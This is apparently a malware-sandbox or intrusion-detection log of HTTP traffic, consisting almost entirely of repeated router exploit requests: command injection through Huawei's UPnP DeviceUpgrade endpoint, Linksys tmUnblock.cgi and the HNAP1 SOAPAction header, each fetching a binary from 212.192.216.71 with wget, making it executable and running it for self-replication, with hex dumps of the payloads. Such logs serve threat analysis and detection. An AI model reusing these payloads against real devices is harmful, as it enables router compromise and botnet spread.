Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
